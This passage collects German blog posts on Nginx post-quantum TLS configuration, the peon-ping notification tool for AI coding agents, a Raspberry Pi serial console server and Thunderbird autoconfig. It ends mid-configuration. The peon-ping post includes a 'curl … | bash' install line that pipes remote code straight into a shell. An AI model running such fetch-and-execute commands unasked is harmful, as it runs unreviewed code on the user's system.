**Tags:** Nginx, FreeBSD, Verschlüsselung, Security, TLS, Post-Quantum
Nachdem ich zuerst [OpenSSH](https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/) und dann [Postfix und Dovecot](https://www.kernel-error.de/2026/02/12/post-quantum-tls-fuer-e-mail-postfix-und-dovecot-mit-x25519mlkem768-auf-freebsd-15/) mit Post-Quantum-Kryptografie ausgestattet habe, kamen einige Rückfragen: Wie sieht das eigentlich für Nginx aus? Kann man das auf dem Webserver genauso einfach aktivieren? Kurze Antwort: Ja. Noch kürzer sogar als bei E-Mail.
[](https://www.kernel-error.de/wp-content/uploads/2026/03/nginx-pqc.png)
Spannend finde ich dabei, dass ausgerechnet der Webserver die meisten Nachfragen erzeugt hat. SSH und E-Mail laufen hier längst mit **X25519MLKEM768**, aber die Leser wollten vor allem wissen, wie das für HTTPS geht. Vermutlich weil jeder eine Webseite hat, aber nicht jeder seinen eigenen Mailserver betreibt?! Es kommt ja immer darauf an, was man macht und welche Daten man übermittelt. Aber SSH oder E-Mail würde mich selbst nervöser machen als normales surfen. Wobei.... Ich melde mich ja auch an, hm. OK, immer MFA. Na, eine normale E-Mail ist ja schon immer eine Postkarte, wenn man keine zusätzliche Verschlüsselung nutzt (was kaum jemand macht).
### Worum geht es?
Wer die Vorgeschichte noch nicht kennt: **X25519MLKEM768** ist ein hybrider Schlüsselaustausch, der klassisches X25519 (Curve25519 ECDH) mit dem Post-Quantum-Algorithmus [ML-KEM-768](https://en.wikipedia.org/wiki/ML-KEM) kombiniert. Standardisiert vom NIST als [FIPS 203](https://csrc.nist.gov/pubs/fips/203/final). Der Vorteil des hybriden Ansatzes: Selbst wenn sich ML-KEM irgendwann als unsicher herausstellt, bleibt X25519 als Absicherung. Und andersherum genauso.
Das „[Store now, decrypt later](https://en.wikipedia.org/wiki/Harvest_now,_decrypt_later)" Szenario kennt ihr vielleicht schon aus den anderen Beiträgen. Jemand schneidet heute euren TLS-verschlüsselten Datenverkehr mit und entschlüsselt ihn in ein paar Jahren mit einem Quantencomputer. Bei HTTPS betrifft das alles, was über die Leitung geht: Formulardaten, Login-Credentials, API-Aufrufe, Session-Cookies. Ob das in der Praxis relevant ist? Kommt auf euer Bedrohungsmodell an. Aber der Aufwand für die Absicherung ist so gering, dass es keinen Grund gibt, es nicht zu tun.
### Es hängt an OpenSSL, nicht an Nginx
Das ist eigentlich die zentrale Erkenntnis aus allen drei Beiträgen: Ob PQC funktioniert oder nicht, entscheidet fast ausschließlich die OpenSSL-Version. Nginx, Postfix, Dovecot, OpenSSH, sie alle delegieren den Schlüsselaustausch an OpenSSL (oder LibreSSL, BoringSSL, je nach System). Die Anwendung selbst muss lediglich die gewünschte Gruppe konfigurieren können. Und das können alle genannten Programme seit Jahren.
Konkret braucht ihr **OpenSSL 3.5** oder neuer. Erst ab dieser Version ist ML-KEM nativ im Default-Provider enthalten, ohne externen OQS-Provider, ohne liboqs, ohne selbst kompilieren. FreeBSD 15 liefert das von Haus aus. Bei den meisten Linux-Distributionen sieht es Stand heute leider noch anders aus. Ubuntu 24.04 hat OpenSSL 3.0, Debian 12 hat 3.0, RHEL 9 hat 3.0. Für ein aktuelles OpenSSL müsst ihr dort entweder selbst bauen oder auf neuere Releases warten.
### Voraussetzungen prüfen
Auf meinem FreeBSD 15:
```
$ openssl version
OpenSSL 3.5.4 30 Sep 2025 (Library: OpenSSL 3.5.4 30 Sep 2025)
```
Nginx muss natürlich gegen dieses OpenSSL gelinkt sein. Das prüft ihr so:
```
$ nginx -V 2>&1 | grep -oE 'OpenSSL [0-9]+\.[0-9]+\.[0-9]+'
OpenSSL 3.5.4
```
Und dann die entscheidende Frage: Kennt OpenSSL die Gruppe X25519MLKEM768?
```
$ openssl list -tls-groups | grep -i mlkem
X25519MLKEM768
SecP256r1MLKEM768
SecP384r1MLKEM1024
```
Wenn X25519MLKEM768 in der Liste auftaucht, kann es losgehen.
### Nginx konfigurieren
In Nginx heißt die relevante Direktive **ssl_ecdh_curve**. Der Name ist etwas irreführend, denn sie steuert nicht nur ECDH-Kurven, sondern alle Key-Exchange-Gruppen die OpenSSL kennt. Also auch hybride PQC-Gruppen.
Meine Konfiguration in der TLS-Defaults-Datei, die per `include` in alle vHosts eingebunden wird:
```
ssl_ecdh_curve X25519MLKEM768:X25519:secp384r1:prime256v1;
```
Das war's. Eine Zeile. **X25519MLKEM768** steht als bevorzugte Gruppe ganz vorne. Dahinter folgen die klassischen Kurven als Fallback für Clients, die noch kein ML-KEM sprechen. Die Reihenfolge ist die Präferenz.
Wer die Direktive lieber pro vHost setzen möchte, statt global, kann das natürlich auch tun. Ich bevorzuge eine zentrale TLS-Datei, weil ich sonst bei jedem TLS-Update zwanzig Configs anfassen müsste.
Zusätzlich habe ich die TLS 1.3 Cipher Suites explizit gesetzt:
```
ssl_conf_command Ciphersuites TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256;
ssl_conf_command Options PrioritizeChaCha;
```
ChaCha20 als erste Wahl, weil es auf Clients ohne AES-NI (ältere Smartphones, ARM-Geräte) deutlich schneller ist. Auf Servern mit AES-NI ist der Unterschied minimal. `PrioritizeChaCha` sorgt dafür, dass der Server ChaCha20 bevorzugt, wenn der Client es an erster Stelle anbietet.
Die komplette TLS-Konfiguration sieht bei mir so aus:
```
# Protokolle
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
# Key-Exchange-Gruppen (Reihenfolge = Präferenz)
ssl_ecdh_curve X25519MLKEM768:X25519:secp384r1:prime256v1;
# TLS 1.3 Cipher Suites
ssl_conf_command Ciphersuites TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256;
ssl_conf_command Options PrioritizeChaCha;
# TLS 1.2 Cipher Suites (nur ECDSA, kein RSA)
ssl_ciphers ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256;
# Session Handling
ssl_session_cache shared:SSL:50m;
ssl_session_timeout 1d;
ssl_session_tickets off;
# OCSP Stapling
ssl_stapling on;
ssl_stapling_verify on;
# HSTS
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
```
Danach die Konfiguration testen und Nginx neu laden:
```
# nginx -t
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
# service nginx reload
```
### Überprüfen
Funktioniert es? Mit `openssl s_client` lässt sich das schnell prüfen:
```
$ openssl s_client -connect www.kernel-error.de:443 \
-groups X25519MLKEM768 -brief &1 | grep -E 'Protocol|group|Cipher'
Protocol version: TLSv1.3
Ciphersuite: TLS_CHACHA20_POLY1305_SHA256
Negotiated TLS1.3 group: X25519MLKEM768
```
**TLSv1.3 mit X25519MLKEM768**. Läuft. Der hybride Post-Quantum-Schlüsselaustausch ist aktiv.
Und was passiert, wenn ein Client kein ML-KEM kann?
```
$ openssl s_client -connect www.kernel-error.de:443 \
-groups X25519 -brief &1 | grep -E 'Protocol|group|Cipher'
Protocol version: TLSv1.3
Ciphersuite: TLS_CHACHA20_POLY1305_SHA256
```
Sauberer Fallback auf X25519. Kein Fehler, keine Unterbrechung. Der Client bekommt einfach die stärkste Gruppe, die beide Seiten gemeinsam haben.
### Browser-Support
Das Schöne bei HTTPS im Vergleich zu E-Mail oder SSH: Die Browser haben Post-Quantum-Kryptografie teilweise schon vor den Servern implementiert. Chrome verwendet seit Version 124 (April 2024) X25519MLKEM768 als bevorzugte Gruppe. Firefox seit Version 124 ebenfalls. Safari seit macOS 15 Sequoia und iOS 18. Edge zieht mit Chrome mit.
Wenn ihr also Nginx mit X25519MLKEM768 konfiguriert, profitieren die meisten eurer Besucher sofort davon. Ohne dass sie irgendetwas tun müssen. Das ist bei SSH und E-Mail anders, da sind die Clients noch nicht so weit. Womit sich auch erklärt, warum das Thema bei Webservern mehr Aufmerksamkeit bekommt.
### HTTP/3 und QUIC
Wer wie ich [HTTP/3 (QUIC) aktiviert](https://www.kernel-error.de/2022/01/13/jetzt-mit-http-3-quic/) hat, bekommt PQC dort automatisch mit. QUIC verwendet TLS 1.3 als Transportverschlüsselung und nutzt dieselbe `ssl_ecdh_curve` Konfiguration. Kein zusätzlicher Konfigurationsaufwand.
```
listen [::]:443 quic reuseport;
listen 443 quic reuseport;
```
Wer QUIC noch nicht nutzt: Der Overhead ist minimal, der Vorteil bei mobilen Verbindungen deutlich spürbar. Mehr dazu in meinem [HTTP/3 Beitrag](https://www.kernel-error.de/2022/01/13/jetzt-mit-http-3-quic/).
Davon abgesehen, wie ist das eigentlich mit Microsoft? [Cloudflare](https://radar.cloudflare.com/de-de/post-quantum) macht ja schon knapp zu 66% PQC im HTTP Traffic. *claude "Sag mal, wie ist das eigentlich bei Microsoft Produkten, wie Exchange oder IIS im Bezug auf PQC? Wird das schon unterstützt oder kommt das bald?"*
```
● Gute Frage — Microsoft ist da tatsächlich in einer interessanten Position:
Windows / Schannel (TLS-Stack)
- Windows 11 24H2 / Windows Server 2025 haben experimentelle Unterstützung für ML-KEM (X25519MLKEM768) in TLS 1.3 bekommen — allerdings zunächst nur als Preview/Feature-Flag, nicht standardmäßig aktiv.
- Der zugrunde liegende TLS-Stack (Schannel) muss das können, damit IIS und Exchange davon profitieren.
IIS
- IIS nutzt Schannel direkt. Sobald Schannel auf dem jeweiligen Windows Server PQC-Key-Exchange unterstützt und es aktiviert ist, kann IIS das theoretisch sofort.
- Stand meines Wissens (Mai 2025): Noch kein produktiver PQC-Support in IIS. Die Preview in Windows Server 2025 ist eher für Tests gedacht.
Exchange
- Exchange Online (Microsoft 365): Microsoft hat angekündigt, PQC schrittweise in ihre Cloud-Dienste zu integrieren. Für TLS-Verbindungen zwischen Microsoft-Datacentern wurde bereits mit PQC experimentiert.
- Exchange On-Premises: Hängt komplett am darunterliegenden Windows Server / Schannel. Solange Schannel kein produktives PQC kann, kann Exchange es auch nicht.
Microsofts Roadmap
- Microsoft hat ein "Quantum-Safe Program" und arbeitet aktiv an PQC-Integration in Windows, Azure und M365.
- Die Priorität liegt auf TLS 1.3 mit ML-KEM (hybrid, also X25519MLKEM768.
- Einen festen Zeitplan für "PQC by default" in Exchange/IIS gibt es meines Wissens noch nicht.
Fazit
Microsoft ist hintendran verglichen mit dem Open-Source-Stack. OpenSSL 3.5+ / LibreSSL / BoringSSL haben PQC-Support bereits produktionsreif. Bei Microsoft wartet man darauf, dass Schannel das nativ und stabil liefert — und bis das
in Exchange On-Prem ankommt, dauert es erfahrungsgemäß nochmal länger.
Für Exchange Online dürfte Microsoft das irgendwann einfach serverseitig einschalten, ohne dass Admins etwas tun müssen. Für On-Prem heißt es: warten auf den nächsten Windows Server Release, der PQC in Schannel GA (General Availability) hat.
Caveat: Mein Wissensstand ist Mai 2025 — es kann sein, dass Microsoft seitdem konkretere Termine genannt hat. Wäre ggf. einen Blick in den Microsoft Security Blog wert.
```
### Was das nicht leistet
Den Absatz kennt ihr inzwischen aus den anderen Beiträgen, aber er gehört dazu: Wir sichern hier den **Schlüsselaustausch** ab, nicht die **Authentifizierung**. Die TLS-Zertifikate nutzen weiterhin klassische Algorithmen (in meinem Fall ECDSA P-384). Für Post-Quantum-Signaturen bräuchte man ML-DSA (ehemals CRYSTALS-Dilithium) in den Zertifikaten, aber keine öffentliche CA stellt solche Zertifikate aus. Das wird kommen, aber noch nicht heute.
In der Praxis heißt das: Ein Angreifer mit Quantencomputer könnte die Serverauthentifizierung angreifen, müsste das aber in Echtzeit tun. „Store now, decrypt later" greift dort nicht. Der Schlüsselaustausch und damit die Vertraulichkeit eurer Daten ist durch X25519MLKEM768 geschützt. Auch in Zukunft.
### Fazit
Eine Zeile in der Nginx-Konfiguration, ein Reload, fertig. Euer Webserver verhandelt danach mit jedem modernen Browser einen quantensicheren Schlüsselaustausch. Vollständig abwärtskompatibel für ältere Clients. Kein Risiko, kein Aufwand, kein Nachteil.
Die eigentliche Hürde ist nicht Nginx, sondern die OpenSSL-Version auf eurem System. Wer FreeBSD 15 oder ein System mit OpenSSL 3.5+ hat, kann sofort loslegen. Alle anderen müssen auf ihre Distribution warten oder selbst bauen.
Damit habe ich jetzt [SSH](https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/), [E-Mail](https://www.kernel-error.de/2026/02/12/post-quantum-tls-fuer-e-mail-postfix-und-dovecot-mit-x25519mlkem768-auf-freebsd-15/) und Webserver mit Post-Quantum-Kryptografie abgedeckt. Fehlt eigentlich nur noch DNS. Aber DoH und DoT laufen ja auch über TLS ... *grübel*
Wie immer: Bei Fragen, [fragen](https://www.kernel-error.de/kontakt/).
## 46. peon-ping — Sound-Benachrichtigungen für Claude Code (und andere AI-Agents)
**Veröffentlicht:** 2026-03-03
**Permalink:** https://www.kernel-error.de/2026/03/03/peon-ping-sound-benachrichtigungen-fuer-claude-code/
**Description:** peon-ping spielt Sound-Benachrichtigungen wenn Claude Code fertig ist oder eine Frage hat — Open Source, 164+ Sound-Packs, einfache Installation.
Wer mit AI-Coding-Agents arbeitet, kennt das Spiel. Claude Code läuft, macht sein Ding — und man sitzt daneben und wartet. Oder man wechselt kurz den Fokus, verpasst die Rückfrage und wundert sich zehn Minuten später, warum nichts mehr passiert. Terminal-Babysitting in Reinform.
Ein Bekannter hat mir dann [peon-ping](https://github.com/PeonPing/peon-ping) empfohlen. Kurz ausprobiert — direkt behalten. Danke dafür!
### Was ist peon-ping?
peon-ping ist ein kleines Open-Source-Tool (MIT-Lizenz), das Sound-Benachrichtigungen für AI-Coding-Agents nachrüstet. Der Name ist Programm — im Default-Modus hört man den Peon aus Warcraft III. *"Ready to work?"* wenn eine Session startet, *"Work, work."* wenn eine Aufgabe fertig ist, *"Something need doing?"* wenn der Agent eine Eingabe braucht. Und wenn man zu schnell hintereinander Prompts abfeuert: *"Me busy, leave me alone!"*
Das Tool unterstützt nicht nur Claude Code, sondern auch Cursor, Codex, Windsurf, Kiro, GitHub Copilot und diverse andere Agents. Für Claude Code erfolgt die Integration über den nativen Hook-Mechanismus — es werden automatisch Hooks in `~/.claude/settings.json` registriert.
### Warum das Sinn ergibt
Das Problem ist simpel: Man startet Claude Code mit einer Aufgabe, wechselt in den Browser oder ein anderes Terminal — und verpasst den Moment, in dem der Agent fertig ist oder eine Frage hat. Ohne Feedback sitzt man entweder da und starrt auf den Output, oder man verliert Zeit, weil der Agent längst auf Eingabe wartet.
peon-ping löst das mit akustischem Feedback. Verschiedene Sounds für verschiedene Events — Task fertig, Fehler aufgetreten, Eingabe nötig, Rate-Limit erreicht. Dazu optional Desktop-Notifications als visuelles Overlay und sogar Push-Benachrichtigungen aufs Handy via [ntfy.sh](https://ntfy.sh/). Man kann also ruhig den Fokus wechseln und weiß trotzdem immer, was der Agent gerade treibt.
### Installation unter Linux
Die Installation ist erfrischend simpel. Ein Einzeiler:
```
curl -fsSL peonping.com/install | bash
```
Alternativ gibt es auch Homebrew (`brew install PeonPing/tap/peon-ping`) oder Nix. Nach der Installation einmal das Setup laufen lassen:
```
peon-ping-setup
```
Das Setup registriert die Hooks in eurer Claude-Code-Konfiguration und installiert das Default-Sound-Pack. Fertig. Beim nächsten Start von Claude Code solltet ihr den Peon hören.
Für die Audio-Wiedergabe unter Linux nutzt peon-ping automatisch `pw-play` (PipeWire), `paplay` (PulseAudio), `ffplay` oder `mpv` — je nachdem, was verfügbar ist. Desktop-Notifications laufen über `notify-send`.
### Konfiguration
Die Konfiguration liegt in `~/.claude/hooks/peon-ping/config.json`. Die wichtigsten Optionen:
```
{
"volume": 0.5,
"enabled": true,
"desktop_notifications": true,
"default_pack": "peon",
"pack_rotation": ["peon", "sc_kerrigan"],
"pack_rotation_mode": "random"
}
```
`volume` regelt die Lautstärke (0.0 bis 1.0), `desktop_notifications` schaltet die visuellen Overlay-Benachrichtigungen ein oder aus, und `pack_rotation` lässt euch mehrere Sound-Packs im Wechsel abspielen — entweder zufällig oder reihum (`round-robin`). Man kann sogar Packs an bestimmte Projektverzeichnisse binden — GLaDOS für die Arbeit, Peon fürs Hobby.
Per CLI geht das Meiste auch schnell zwischendurch:
```
peon volume 0.3 # Leiser
peon pause # Stummschalten
peon resume # Wieder an
peon status # Aktueller Zustand
```
Wer Claude Code nutzt, bekommt außerdem Slash-Commands: `/peon-ping-toggle` zum Stummschalten, `/peon-ping-config` für interaktive Einstellungen und `/peon-ping-use ` zum Wechseln des Sound-Packs in der laufenden Session.
### Sound Packs
Und hier wird es lustig. Auf [openpeon.com](https://openpeon.com) gibt es über 164 Sound-Packs. Der Warcraft-Peon ist der Default, aber es gibt so ziemlich alles: GLaDOS aus Portal, Kerrigan aus StarCraft, den TF2 Engineer, Duke Nukem, Sheogorath aus Elder Scrolls, den Dude aus The Big Lebowski — sogar ein cleanes Chimes-Pack ohne Sprachlinien, falls man es dezenter mag.
Packs installieren und wechseln geht über die CLI:
```
peon packs list --registry # Verfügbare Packs anzeigen
peon packs install glados # GLaDOS installieren
peon packs use glados # GLaDOS aktivieren
peon packs install --all # Alle installieren (wenn man sich nicht entscheiden kann)
```
Die Packs basieren auf der offenen [CESP-Spezifikation](https://github.com/PeonPing/openpeon) (Coding Event Sound Pack) — wer eigene Sounds mitbringen will, kann sich relativ einfach ein eigenes Pack bauen.
### Fazit
peon-ping ist klein, kostenlos, Open Source (MIT) und löst ein echtes Problem. Kein Terminal-Babysitting mehr, keine verpassten Rückfragen. Und ja — es macht einfach Spaß, wenn der Peon einem bestätigt, dass die Arbeit erledigt ist. *"Work complete."*
Nochmal Danke an den Bekannten für den Tipp. Manchmal sind es die kleinen Tools, die den größten Unterschied machen.
**Links:**
GitHub: [github.com/PeonPing/peon-ping](https://github.com/PeonPing/peon-ping)
Sound Packs: [openpeon.com](https://openpeon.com)
Website: [peonping.com](https://www.peonping.com)
Nutzt ihr AI-Coding-Agents im Alltag? Wie haltet ihr es mit Benachrichtigungen — oder sitzt ihr auch und starrt auf den Output? Schreibt mir gerne, ich bin gespannt.
## 47. Raspberry Pi als serieller Konsolenserver
**Veröffentlicht:** 2026-03-08
**Permalink:** https://www.kernel-error.de/2026/03/08/raspberry-pi-als-serieller-konsolenserver/
**Description:** Raspberry Pi als serieller Konsolenserver: Mit udev, ser2net und SSH zum Out-of-Band Zugriff auf bis zu acht Netzwerkgeräte für unter 50 Euro.
Wir haben 2026. Alles wandert in die Cloud. Trotzdem will ich heute über serielle Konsolen schreiben. Klingt retro, ist es aber nicht. Wenn ein Switch sich verkonfiguriert hat und das Netzwerk weg ist, hilft kein Ansible und kein Dashboard in der Cloud. Dann hilft nur noch der serielle Konsolenport. Out-of-Band Management ist nicht tot. Es wurde nur teuer verpackt.
Kommerzielle Konsolenserver kosten gerne vierstellig. Oder man nimmt einen Raspberry Pi der noch herum liegt und auf eine neue Aufgabe wartet (ich habe hier ein paar Pi1 oder 2 herum liegen). Zusammen mit zwei USB Serial Adaptern hat man für unter 50 Euro einen Konsolenserver mit acht Ports. Das reicht für die meisten Setups locker aus.
### Wofür ein Konsolenserver
Der klassische Fall: Ein paar Switches im Rack, jedes Gerät hat einen seriellen Konsolenport. Im Normalbetrieb konfiguriert man über das Netzwerk. Aber wenn mal eine falsche Route das Management Interface unerreichbar macht oder ein VLAN Umbau schiefgeht, steht man vor dem Gerät und steckt ein Kabel rein. Wenn das im DC in Frankfurt ist, oder vielleicht irgendwo in China, dann kann das spannend werden :-D
Oder man hat vorgebaut.
Ein Konsolenserver hängt permanent an den seriellen Ports der Netzwerkgeräte. Man kommt per SSH auf den Konsolenserver und von dort auf die serielle Konsole des Zielgeräts. Ob das Netzwerk funktioniert oder nicht, spielt keine Rolle mehr. Öhm also ja, so grob. Der Pi sollte dann ja schon noch erreichbar sein :-D Aber man hat ja in einem entfernten DC auch eine Dailin Line oder ähnliches, richtig? Richtig?
### Hardware
**Ein Raspberry Pi.** Es muss kein aktuelles Modell sein. Selbst ein alter Pi 2 reicht völlig aus. Das Ding muss `ser2net` laufen lassen und ein paar serielle Ports bedienen, dafür braucht man keinen Quad Core mit 8 GB RAM. Der Pi aus der Schublade bekommt endlich eine sinnvolle Aufgabe.
**FTDI Quad Port USB Serial Adapter** (Vendor `0403`, Product `6011`). Pro Adapter bekommt man vier serielle Ports. Mit zwei Adaptern hat man acht Ports. Die Dinger gibt es für kleines Geld.
**RS232 Kabel** zu den Console Ports der Netzwerkgeräte. Welcher Stecker passt, hängt vom Hersteller ab. RJ45 auf DB9, DB9 auf DB9, die üblichen Verdächtigen. Da muss man schauen was die eigenen Geräte mitbringen.
### Stabile Gerätenamen mit udev
Das erste Problem nach dem Einstecken der USB Adapter: Linux vergibt die `/dev/ttyUSBx` Nummern nach Lust und Laune. Nach einem Reboot kann `ttyUSB0` plötzlich `ttyUSB4` sein. Wenn man wissen will welcher Port an welchem Gerät hängt, ist das unpraktisch.
Die Lösung sind udev Regeln. Jeder FTDI Adapter hat eine eigene Seriennummer. Die findet man so:
```
udevadm info -a -n /dev/ttyUSB0 | grep serial
```
Damit baut man sich Regeln die stabile Symlinks erzeugen. Datei `/etc/udev/rules.d/99-serial-consoles.rules`:
```
SUBSYSTEMS=="usb", ENV{.LOCAL_ifNum}="$attr{bInterfaceNumber}"
SUBSYSTEM=="tty", ATTRS{idVendor}=="0403", ATTRS{idProduct}=="6011", ATTRS{serial}=="FT000001", SYMLINK+="quad0-%E{.LOCAL_ifNum}"
SUBSYSTEM=="tty", ATTRS{idVendor}=="0403", ATTRS{idProduct}=="6011", ATTRS{serial}=="FT000002", SYMLINK+="quad1-%E{.LOCAL_ifNum}"
```
`FT000001` und `FT000002` ersetzt man durch die echten Seriennummern der eigenen Adapter. Das Ergebnis sind stabile Symlinks: `/dev/quad0-00` bis `/dev/quad0-03` für den ersten Adapter, `/dev/quad1-00` bis `/dev/quad1-03` für den zweiten. Acht Ports, immer gleich benannt. Egal wie oft man den Pi neustartet.
### ser2net
[ser2net](https://github.com/cminyard/ser2net) bildet die seriellen Ports auf TCP Ports ab. Man kann dann per Telnet auf einen bestimmten Port zugreifen und landet direkt auf der seriellen Konsole des zugehörigen Geräts. Installieren mit `apt install ser2net`, dann die Konfiguration in `/etc/ser2net.conf`:
```
localhost,2001:telnet:600:/dev/quad0-00:9600 8DATABITS NONE 1STOPBIT banner
localhost,2002:telnet:600:/dev/quad0-01:9600 8DATABITS NONE 1STOPBIT banner
localhost,2003:telnet:600:/dev/quad0-02:9600 8DATABITS NONE 1STOPBIT banner
localhost,2004:telnet:600:/dev/quad0-03:9600 8DATABITS NONE 1STOPBIT banner
localhost,2005:telnet:600:/dev/quad1-00:9600 8DATABITS NONE 1STOPBIT banner
localhost,2006:telnet:600:/dev/quad1-01:9600 8DATABITS NONE 1STOPBIT banner
localhost,2007:telnet:600:/dev/quad1-02:9600 8DATABITS NONE 1STOPBIT banner
localhost,2008:telnet:600:/dev/quad1-03:9600 8DATABITS NONE 1STOPBIT banner
```
9600 8N1 ist der Standard bei den meisten Netzwerkgeräten. Falls ein Gerät eine andere Baudrate braucht, passt man die entsprechende Zeile an. Der Timeout von 600 Sekunden trennt die Verbindung nach zehn Minuten Inaktivität. Das verhindert dass ein vergessenes Telnet die Konsole dauerhaft blockiert.
### Direkter Zugriff mit minicom
Wer `ser2net` nicht nutzen will oder schnell direkt auf einen Port muss, nimmt minicom:
```
minicom -D /dev/quad0-00 -b 9600
```
minicom ist gut für schnelle Tests und Debugging. Für den Dauerbetrieb mit mehreren Ports gleichzeitig ist `ser2net` die bessere Wahl.
### Warum localhost
`ser2net` ist im gezeigten Setup bewusst auf `localhost` gebunden. Man muss sich erst per SSH auf den Pi einloggen und dann `telnet 127.0.0.1 200x` aufrufen. Das ist Absicht.
Man könnte `ser2net` auch auf `0.0.0.0` binden und die Ports direkt aus dem Netz erreichen. Davon rate ich ab. Telnet ist unverschlüsselt. Auch in einem Management VLAN hat das nichts verloren.
**Bessere Alternativen wenn man ohne SSH auf den Pi will:**
- `ser2net` ab Version 4.x unterstützt SSL/TLS. Damit hat man verschlüsselte Verbindungen direkt zu den Console Ports.
- [stunnel](https://www.stunnel.org/) vor `ser2net` schalten. stunnel terminiert TLS und reicht die Verbindung an den lokalen `ser2net` weiter.
- Wer nativen SSH Zugriff direkt auf die seriellen Ports braucht, sollte sich [conserver](https://www.conserver.com/) anschauen. `ser2net` kann kein SSH.
Für die meisten Setups ist SSH auf den Pi und dann Telnet auf localhost der einfachste und sicherste Weg.
### Absichern
Ein paar Dinge die man auf dem Pi noch machen sollte:
Den Default Benutzer `pi` löschen. Einen eigenen Benutzer anlegen. SSH Key Authentifizierung einrichten und Login per Passwort deaktivieren. Das ist nicht optional.
NTP konfigurieren. Timestamps in Logs sind nutzlos wenn die Uhrzeit nicht stimmt.
Syslog an einen zentralen Logserver weiterleiten. Wenn man serielle Konsolen mitschneidet, will man die Logs nicht nur lokal auf dem Pi haben.
### Workflow
Der Alltag sieht dann so aus:
1. SSH auf den Pi: `ssh admin@10.0.0.50`
2. Telnet auf den gewünschten Port: `telnet 127.0.0.1 2003`
3. Man landet auf der seriellen Konsole von Switch 3
Alternativ direkt mit minicom: `minicom -D /dev/quad0-02 -b 9600`
Zum Trennen: `Ctrl-]` und dann `quit` bei Telnet. `Ctrl-A` gefolgt von `X` bei minicom.
### Fazit
Ein alter Raspberry Pi, zwei USB Adapter, ein paar Kabel. Mehr braucht man nicht für einen funktionierenden Konsolenserver mit acht Ports. Die Einrichtung dauert vielleicht eine Stunde. Danach läuft das Ding und man muss nie wieder ein Konsolenkabel quer durch den Serverraum schleppen.
Und der alte Pi aus der Schublade hat endlich wieder eine Aufgabe.
Ihr habt Fragen, Anmerkungen oder baut das Setup selbst nach? Meldet euch gerne über die [Kontaktseite](https://www.kernel-error.de/kontakt) oder direkt per E-Mail.
---
## 48. Thunderbird Autoconfig: Automatische E-Mail-Konfiguration für den eigenen Mailserver
**Veröffentlicht:** 2013-01-04 | Rewrite 2026-03-09
**Permalink:** https://www.kernel-error.de/2013/01/04/mozilla-thunderbird-autoconfig/
**Description:** Thunderbird Autoconfig einrichten: Lookup-Reihenfolge, config-v1.1.xml erklärt, DNS-CNAME und nginx-Setup für die automatische E-Mail-Konfiguration eigener Maildomains.
Thunderbird kann sich selbst konfigurieren. Der Benutzer gibt E-Mail-Adresse und Passwort ein, Thunderbird sucht die Servereinstellungen automatisch — kein Eintippen von Hostnamen, Ports oder Verschlüsselungsoptionen. Das funktioniert nicht nur bei Gmail oder GMX, sondern auch mit dem eigenen Mailserver. Man muss nur eine XML-Datei an der richtigen Stelle bereitstellen.
### Wo Thunderbird nach der Konfiguration sucht
Thunderbird arbeitet eine feste Reihenfolge ab. Sobald ein Schritt eine gültige Konfiguration liefert, ist die Einrichtung fertig:
**1. Thunderbird ISPDB** — Mozilla pflegt eine zentrale Datenbank mit Konfigurationen für große Provider. Steht die Domain dort, ist sofort alles konfiguriert. Für eigene Mailserver irrelevant.
**2. autoconfig.** — Thunderbird fragt `https://autoconfig.example.org/mail/config-v1.1.xml`. Das ist der Weg, den wir nutzen. Ein CNAME im DNS, ein Webserver mit gültigem TLS-Zertifikat, eine statische XML-Datei — fertig.
**3. .well-known auf der Domain** — Thunderbird versucht `https://example.org/.well-known/autoconfig/mail/config-v1.1.xml`. Funktioniert, wenn die Domain selbst einen Webserver hat. Braucht keinen eigenen Hostnamen.
**4. MX-Heuristik** — Als Fallback versucht Thunderbird gängige Hostnamen wie `imap.example.org` und `smtp.example.org` mit üblichen Ports und Verschlüsselung. Klappt oft, ist aber Glückssache.
**5. Manuell** — Wenn nichts funktioniert, muss der Benutzer alles von Hand eingeben. Genau das wollen wir vermeiden.
### Die config-v1.1.xml
Die XML-Datei beschreibt alle Servereinstellungen. Thunderbird liest sie und konfiguriert das Konto automatisch. Hier die Version, die ich für alle meine Maildomains einsetze:
```xml
kernel-error.de
kernel-error.com
vandemeer.de
fuchs-meckenheim.de
heidbreders.de
linux-rheinbach.de
rfc-ignorant.de
kernel-error.de Mail
kernel-error
imap.kernel-error.de
993
SSL
password-cleartext
%EMAILADDRESS%
smtp.kernel-error.de
465
SSL
password-cleartext
%EMAILADDRESS%
```
Wichtige Details:
**`%EMAILADDRESS%`** — Thunderbird ersetzt das automatisch durch die eingegebene E-Mail-Adresse. Kein PHP nötig, kein dynamisches Script — eine statische Datei reicht. Das ist der große Unterschied zu Outlook Autodiscover, wo ein PHP-Script die E-Mail-Adresse aus dem POST extrahieren muss.
**`password-cleartext`** — Klingt gefährlich, ist es nicht. Es bedeutet, dass das Passwort über die TLS-verschlüsselte Verbindung gesendet wird. Der Name ist irreführend — Mozilla meint damit „Klartext innerhalb des verschlüsselten Kanals" im Gegensatz zu Challenge-Response-Verfahren wie CRAM-MD5.
**Port 465 (implizites TLS)** — Die Verbindung ist sofort verschlüsselt, kein STARTTLS-Handshake nötig. Ein Eintrag reicht — Thunderbird braucht keinen Fallback.
**Mehrere ``-Einträge** — Eine XML-Datei für alle Maildomains. Thunderbird prüft, ob die Domain der eingegebenen E-Mail-Adresse in der Liste steht.
### DNS und Webserver
Für jede Maildomain wird ein DNS-CNAME angelegt:
```shell
autoconfig.vandemeer.de. IN CNAME www.kernel-error.de.
```
Alle CNAMEs zeigen auf denselben Webserver. Dort braucht jeder Hostname einen eigenen HTTPS-Server-Block mit passendem TLS-Zertifikat — Thunderbird akzeptiert keine Zertifikatsfehler. Die Nginx-Konfiguration ist simpel:
```nginx
server {
listen [::]:443 ssl;
listen 443 ssl;
